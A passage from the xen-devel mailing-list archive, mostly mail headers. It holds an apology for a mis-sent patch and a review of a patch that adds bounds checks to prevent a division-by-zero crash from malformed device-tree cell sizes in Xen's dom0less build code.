         if ( ea.type == OP_REG )


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 09:49:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 09:49:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357792.1612129 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlO1-0006vO-5Z; Thu, 09 Jul 2026 09:49:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357792.1612129; Thu, 09 Jul 2026 09:49:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlO1-0006vH-2t; Thu, 09 Jul 2026 09:49:41 +0000
Received: by outflank-mailman (input) for mailman id 1357792;
 Thu, 09 Jul 2026 09:49:39 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <okamoto@valinux.co.jp>) id 1whlNz-0006vB-1t
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:49:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whlNy-00BATA-EQ
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:49:38 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <okamoto@valinux.co.jp>)
 id 6a4f6eae-e002-0a2a0a5209dd-0a2a4506ecda-4
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:49:37 +0200
Received: from [52.101.229.73]
 (helo=TY3P286CU002.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <okamoto@valinux.co.jp>)
 id 6a4f6eae-08de-0a2a45060019-3465e549b3ee-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:49:37 +0200
Received: from TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:af::12)
 by TYRP286MB4764.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:13b::8) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Thu, 9 Jul
 2026 09:49:32 +0000
Received: from TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM
 ([fe80::2067:ff0e:4c3:ad0b]) by TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM
 ([fe80::2067:ff0e:4c3:ad0b%4]) with mapi id 15.21.0181.014; Thu, 9 Jul 2026
 09:49:32 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ZoW+4mrDxQKh95o+Cch9PEpKAiSx1PIAJH2NsLJ7qe84aM7UKc/RzlDXjnL89xdk7jNvphuoYDg5UdltvW7oSDCP2+wGjKbczXi9YeDy6Ege0nuBcfe18AJFMdGvkKPuiAxtL0ZlaDnhyMLefbyiXWx0aKY1tACOBZRQ7aP+bvaL2AfN7TfzAco7ImJxy6mgjgNCh7XRo1AbJ4NDRqanhdYqaFOhlaT+Z0h2T4hev2VCtaN1W11oS7EMbmpBHGXEsDmoqsvJGOSYptYvSbx8UOJsf2hwjDC/Xh4ZIerWtzVVPwZhnPSiBemBIs/7YAb/G/2XnlgJ/sOuZKzUZmwB4A==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=WfHpm/xMcKiRJ+XCrXUwOvBOFTyFO5wHl8rigNAPLEM=;
 b=w28zlcLNFOYOcSZ15w3/f+HzZQa0zOQeuwdJL2yuSAQa7AnAwVPiBqB+Fh9N3iJ1ijx42fMAecMWB38PEDBkKTkh9fznDYiFEJJt1ybqb/fyC6wkiuniLDlE1zGuSF1PKQHtIh/ViPHm+FxUAvipsRnNjPughj6M3E0GESPE10greIhoxozY/qxN3u270C0r584zCfaNe9u8yONTYFT/8mxLl1pjIpdI1uDU+ivRq2mQ6Q60cbARDGY1m9Ve5bEpUfFK/UMnfHR+OZbDsvbwKkABNSplhM7m97TmEpnrXOse2csqN1crH2b6KgbFTVTuI4aAYtRrzUeq5hfTxvyY8w==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=WfHpm/xMcKiRJ+XCrXUwOvBOFTyFO5wHl8rigNAPLEM=;
 b=GJh3XSNsXDAcgnZpsEMQAoLUCFxNdZANgeEg3uN3/3oz79Bn2N1svbliq67vMEwlWE69pL9jCOZ1LWyP9XqyLzsqtpziBT23P0rGtlrSLEPCIrcAlT2bnh+wmZADSWZQTY2kjPh70kdem83N11lJ2BS5EAcCFd03wxJoO2FltTA=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Ryoji Okamoto <okamoto@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	xen-devel@lists.xenproject.org
Subject: Re: [PATCH 1/1] update struct member
Date: Thu,  9 Jul 2026 18:49:31 +0900
Message-ID: <20260709094931.291156-1-okamoto@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <f3404b9c-df8b-4f97-a2cb-50e3402d781c@suse.com>
References: <f3404b9c-df8b-4f97-a2cb-50e3402d781c@suse.com>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYWP286CA0009.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:400:178::7) To TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:400:af::12)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: TYCP286MB1053:EE_|TYRP286MB4764:EE_
X-MS-Office365-Filtering-Correlation-Id: e31a4dc8-4002-4427-8430-08dedd9f60a3
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|10070799003|23010399003|366016|376014|1800799024|22082099003|18002099003|56012099006;
X-Microsoft-Antispam-Message-Info:
	Fp9/yLyuUxCNay3vZjDTmb5p584s9AXVPRjVEcmtiVcdoqMaJ1rCffsxE0Pm2VNMg+Qa5BGxPBfC+NpEbUmONBx5L6GleG4nv/GYZCFcjV1wCrVhMQo+K+CpSCsFIH63Z1UDRtpjRkrp3BUD5XUoXfcxZhbeXOhMiNJqdWnahjyqP2JdqJ4CqDXDsqVRKyUMaBu0FkxZMTlO6WUSMRoxNgz8kby726aqpZgLESwah6VgGfC/G8S9rLgEAnGrQCBAvA2uE5OZxMnFvoR/WaA5iX4n66NDSJLaBuHMyemLYWvqxHEinkSo2lzHWNQhH+cpAVVP6YBKRqtqcTT1WilRwRF4eJAZdBY19kvy5K1IfVyiivVegTTteEEnvGy9TUyEs+VcKfWi2h55X/ig+pweXu5UWYPDAOLePFopK5JLAUPF/oBitfsy0n1Vr2WVHlzwfGoA1pf6uxaCBCGKXIqWW7K/l1wpoMtwHZYWARuTdhXS5T7rdcFUe+pIozR2Dqs3eKfno9OJTqXDJ33Z4JlvxKu4J/UZTWcSImQi3Zmn6I1U5vqPn5UUdi/qTJvm2MafrC4CO3SGMtz2kM+TUs/foHtRALn8OaP8W1bAoriIAOm2JpGW7W7Wtoh/eFjjV85s2sPCfAWvOBGVrSC18Oa9/HN1B3zTQ9gOUtyQtKg8vAw=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(10070799003)(23010399003)(366016)(376014)(1800799024)(22082099003)(18002099003)(56012099006);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?t4P7j16sAoeEQYezuw5bFASeb8BspvUIWdf5wsaDfXp6nbFRuNsGatZMQA6U?=
 =?us-ascii?Q?0Sq4pNdkxdoIAXFZffjL6He289Htp1UTJZCbTLLOJFsmWb+bFhy3Px/MLChp?=
 =?us-ascii?Q?tmKXeutfHQbRrgl5cshImClDNyNu/fEfUkPTx2FTMa7Q1YZRnoRum+CKoYps?=
 =?us-ascii?Q?5V+NuVRoR4XgqryAfopdqfQNWTNYVjWLPsA2xEQ6WO3uTag6O3ZL8kZhjplS?=
 =?us-ascii?Q?MFCjAOf3+A0bxdc6gyHMRgJAcYcSaP+i3hMWbTBVGAdvcz1affd+fiQBPK24?=
 =?us-ascii?Q?keiquiACa/YUXkYhNRVyKv78eBqtqEU8w+GNPd0ZcYPXPKMMgRqeE6MMayGm?=
 =?us-ascii?Q?TFsD9wkp/w6lyzPpwAxtJAp79rtiYC3zA6PEDEAYMTFKvvbopG9UsWyd9p8o?=
 =?us-ascii?Q?m2v2/STHeSD3z3wIsq2bR6q132xTTl+CcvwDHDHxn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-ascii?Q?m2We0WJEOCQ1kt7PEhHSCE8vnURyyW1vzZMJT00/xF+sazIJSjLhYuVf9Oaj?=
 =?us-ascii?Q?399kc9NkQnI0EYEnaG+ZKJuWhAbrq3Blwv6udscym/14/AIL3DHsvHAB1zey?=
 =?us-ascii?Q?mDwVVhXUyOmHw1tJPfZgMPPyyJs6o9AtozsUkeIvaqBfElasYD5ePTwUgeeO?=
 =?us-ascii?Q?1a38v+L+mflC+Dqnr8fOkzwD5wGfUw8mG8ozbgPmgzTNgZb1yBl30c3ullOY?=
 =?us-ascii?Q?O9sdLSXuzXxGS+poGqy2kYztVbeFoPMAj8213InsoAKe6g0zQcTWubNfTf27?=
 =?us-ascii?Q?HIHr1gzR0EZtHRxkdi+TXVcSxPtd+R7Q058c82w5EMg583FUACduP8oYcRhF?=
 =?us-ascii?Q?uM5hMZmxS9QJjcYF+WsvpQ8zYuhYvyTPgmqBRyY68iSx1S9SCwlKS1qfwagC?=
 =?us-ascii?Q?DGWRIZ9c4C+vfTmoR8x+ZCZZayTY6cGZ0GMDCROML4flQ9G7fFrpAB4Opu7x?=
X-MS-Exchange-AntiSpam-MessageData-1: 1FtJkN1MrpeT2Q==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: e31a4dc8-4002-4427-8430-08dedd9f60a3
X-MS-Exchange-CrossTenant-AuthSource: TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 09:49:32.5364
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: lO3YRiYUp1RGPPbFfCDP9qUa3j/ayWwDh/J7225K717NfyLTUV628GxXTeQdel/F2jo0FNUcDb4KXraaM08WDA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYRP286MB4764
X-purgate-ID: tlsNG-16d1c6/1783590577-F85E768D-7C21691D/0/0
X-purgate-type: clean
X-purgate-size: 292

Thank you for the review.

Actually, I accidentally sent this to the list while doing a local test sending to myself. I'm sorry for the confusion and noise.

I will resend it properly later after add printing the priority in xenalyze. Please ignore this thread for now.

Thanks again!


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 09:50:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 09:50:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357800.1612139 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlOr-0008Mg-E5; Thu, 09 Jul 2026 09:50:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357800.1612139; Thu, 09 Jul 2026 09:50:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlOr-0008MX-B3; Thu, 09 Jul 2026 09:50:33 +0000
Received: by outflank-mailman (input) for mailman id 1357800;
 Thu, 09 Jul 2026 09:50:32 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whlOq-0008MP-9P
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:50:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whlOp-00340W-Ll
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:50:31 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f6ee7-e002-0a2a0a5209dd-0a2a4508ddb8-2
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:50:31 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f6ee3-edec-0a2a45080019-d1558035b4b0-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:50:27 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-493c733f15aso7128205e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 02:50:27 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb6ff432sm46473905e9.4.2026.07.09.02.50.26
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 02:50:26 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783590627; x=1784195427; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=1uzUco4gjMZybX3tSPTLUbmKPa7/F0OEncPgI7+2eps=;
        b=L74In4ktGYzyw2427c8Jw2dX0qoqXBJoa9GDWgyigOdjzrRWJCzm1F/bFOmqgGFBLc
         TgR7vyTO43FudvRGXFHo/g5RJKQFnzcSyALPXriA7B4ei5x1X/MhsazItxz08CZgacW+
         LIWAfajPyh2M/cwIw06b/SG7ZvRYPig1rArgKsgQV8bRhQyJpfPWo1xp1gZRQjeYUVI7
         hegIpi3qAV6FWj5Mar6gyH/sW1YF0wG4c9FFGbg/8Ei+TDokyVMzK0jOoHfTiX+DZvQS
         8k4hYXUccj0QVp4Ll60pkEvu2oi3nRv1fzM0nqO/EqnkGOOSVb/aM2VladJyEMH1U1Om
         ag6A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783590627; x=1784195427;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=1uzUco4gjMZybX3tSPTLUbmKPa7/F0OEncPgI7+2eps=;
        b=MTAO+hszZbzke0pjQ0YC+SrVVaFvdapOrXfzq0C7DODUz8UMGNtUHd/cGltH3WtG7w
         LBmiWsimck0R1zcCd6C4LJdRk+K4qmD0PUrgcXRmLtMakQ8fUHS9MaqVrTQzS2BvQGou
         gndBA4/OzVZDkkA4HMSSc8lGpn1k9xVR6MSl/FSWD8RqcZYBSdg6JcNwLjhPA/WN3Wt2
         IChId+DZb+ebi2fKvyNUt+919/eis3NlWcABnhqiN4yQgX/mQQ6mMZx7W1OefyDkg7LN
         tuaPxmgkZCCjSjy3OXDHLOPQUsR9kcwUy1eEc9XqV7Px49djiiCjXyTzDIelzXu9VmTE
         mW3Q==
X-Forwarded-Encrypted: i=1; AHgh+Rpe2ryC+DGDz5kznQEZQD0JQsdyxGs9Vyu1DRiFUHjwVlMLsmxUsh5CMQ+2CSSlFRkLHqBDiXmj1j0=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxcwB5YJ8xHfkyYErnTjiRgj+DsmKX2Lmw4KscA2gIdpegImQWq
	CrbQNF1wNqHSUiNYZJ+wQD7bxGd3MrGxzsQZKsCmRYyBIJs0/PqvLiTa3YjzEohrkQ==
X-Gm-Gg: AfdE7cmS0Cwy/O7pwY/Hk/fV3vpuWTMGEcK6A29Ad76MNnR2f6wj99eaz3IR7QKkW6z
	Ja0jaoFLaxalRF0kgM/1W6HSF3QP5lppNYmpDCnm9AGUBXoiEM1cacQEpwp+nPWqkEyapUfYmEY
	VADyXNI41TtSA7fNlBYP3GkT1tWCK/aYuTaLm6ZQn1iLp7dWUCOWxr+z/I4zzHbh5ntxnxtqalY
	rFbW+qQ9JSLOxWCju+hI5Vv90aJM2KQuSaJfzun2TGIwWiNz54adg0qKzvjNG+6aUrLH0J/wGm6
	Mg2Cq4lkbMyDbQFvKwRbYpwtf3CGrcnUtosxbKMU1n+pIGtrnPdULOlBW9039nZq9lzxZfup8bU
	jl/Ag+RgFctYxUJxNrgoTJrLvWeGWUIi/yfWfpT+ytMl7doyOD2fNYlt5KQD2lnNUtEwH8hfuvr
	MGISa/7IuqsTTyrgSxRxyG1+Fy/sH9O/QGD9bMLuCR6qn+lVZfd5BMpqlhZaOt3rfXdKyEmwZoX
	pHB
X-Received: by 2002:a05:600c:198c:b0:493:af56:8e64 with SMTP id 5b1f17b1804b1-493e871daa3mr40963315e9.32.1783590626849;
        Thu, 09 Jul 2026 02:50:26 -0700 (PDT)
Message-ID: <19771234-d108-4ddc-9517-ae420aa70e93@suse.com>
Date: Thu, 9 Jul 2026 11:50:25 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22 v3] dom0less: Prevent division by zero in
 handle_passthrough_prop()
To: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <500cc80a172570f7fdde3287185398dc49460b2b.1783590032.git.dmytro_prokopchuk1@epam.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <500cc80a172570f7fdde3287185398dc49460b2b.1783590032.git.dmytro_prokopchuk1@epam.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1783590627-4052F3FC-C23E85A6/0/0
X-purgate-type: clean
X-purgate-size: 2139

On 09.07.2026 11:44, Dmytro Prokopchuk1 wrote:
> A malformed partial DTB specifying both '#address-cells = <0>' and
> '#size-cells = <0>' causes '(address_cells * 2 + size_cells)' to
> evaluate to 0. This sum is subsequently used as a divisor when
> calculating the number of regions in the 'xen,reg' property inside
> handle_passthrough_prop():
> 
>     len = fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) *
>                                         sizeof(uint32_t));
> 
> This leads to a division by zero exception in the Xen hypervisor during
> boot, causing a hypervisor panic/crash.
> 
> Fix this by validating that both 'address_cells' and 'size_cells'
> are within the valid range of [1, 2] at the read side in scan_pfdt_node()
> immediately after they are parsed. Any invalid cell size combination is
> safely rejected early with an error message and return -EINVAL.
> 
> Fixes: 9ce974c47588 ("xen/arm: assign devices to boot domains")
> Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
> ---
> Changes in v3:
>  - use Michal's idea for placing that check into other place
>  - reword commit message
> ---
>  xen/common/device-tree/dom0less-build.c | 7 +++++++
>  1 file changed, 7 insertions(+)
> 
> diff --git a/xen/common/device-tree/dom0less-build.c b/xen/common/device-tree/dom0less-build.c
> index eacfd93087..179a2b88aa 100644
> --- a/xen/common/device-tree/dom0less-build.c
> +++ b/xen/common/device-tree/dom0less-build.c
> @@ -341,6 +341,13 @@ static int __init scan_pfdt_node(struct kernel_info *kinfo, const void *pfdt,
>      size_cells = device_tree_get_u32(pfdt, nodeoff, "#size-cells",
>                                       DT_ROOT_NODE_SIZE_CELLS_DEFAULT);
>  
> +    if ( address_cells < 1 || address_cells > 2 ||
> +         size_cells < 1 || size_cells > 2 )
> +    {
> +        dprintk(XENLOG_ERR "Invalid address/size cells combination\n");

Perhaps just for my own education: Is it really "invalid", or merely
"unsupported" / "unrecognized"? (I can see 0 being possibly invalid, but
it looks less clear for values above 2.)

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 10:00:21 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 10:00:21 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357814.1612148 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlYG-0002Nj-9d; Thu, 09 Jul 2026 10:00:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357814.1612148; Thu, 09 Jul 2026 10:00:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlYG-0002Nc-6T; Thu, 09 Jul 2026 10:00:16 +0000
Received: by outflank-mailman (input) for mailman id 1357814;
 Thu, 09 Jul 2026 10:00:14 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1whlYE-0002NW-H3
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 10:00:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whlYD-002f2y-Tq
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:00:13 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4f712b-e002-0a2a0a5209dd-0a2a4508dd06-22
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:00:13 +0200
Received: from [52.101.65.138]
 (helo=DU2PR03CU002.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4f712c-edec-0a2a45080019-3465418a3a60-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:00:13 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by AS2PR03MB9611.eurprd03.prod.outlook.com (2603:10a6:20b:595::13)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Thu, 9 Jul
 2026 10:00:11 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.014; Thu, 9 Jul 2026
 10:00:10 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
